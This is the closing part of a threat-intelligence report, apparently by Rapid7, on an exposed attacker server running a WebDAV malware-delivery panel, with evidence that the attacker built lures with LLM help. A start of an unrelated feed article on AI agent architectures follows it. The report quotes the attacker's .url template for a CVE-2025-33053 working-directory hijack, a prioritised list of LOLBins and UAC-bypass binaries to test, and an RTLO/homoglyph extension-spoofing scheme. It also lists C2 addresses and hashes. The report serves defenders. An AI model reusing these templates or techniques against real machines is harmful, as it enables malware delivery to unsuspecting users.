CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The 6 kinds of AI agent architectures]]></title>
<description><![CDATA[Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single p...]]></description>
<link>https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</guid>
<pubDate>Mon, 20 Jul 2026 11:09:07 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.</p>



<p class="wp-block-paragraph">I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.</p>



<h2 class="wp-block-heading">1. The conversational assistant</h2>



<p class="wp-block-paragraph">The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?id=us:2ps:3gl:aisgm26:awa:CONS:em:K0218784:012626:kwd-430833501819:195648817121:794247818306::&amp;gclsrc=aw.ds&amp;gad_source=1&amp;gad_campaignid=23269751971&amp;gbraid=0AAAAADenGPCB8F-Mx6GhUt0V1PWpgLqtw&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pYktgKgYgYBAR6AcMikwdYOF7q6S3WaLiLYg2hwhvdCjRiqajxnqtkaAsdYEALw_wcB">Deloitte found that 38%</a> of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.</p>



<p class="wp-block-paragraph">A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.</p>



<p class="wp-block-paragraph">A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.</p>



<h2 class="wp-block-heading">2. The triggered workflow</h2>



<p class="wp-block-paragraph">Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.</p>



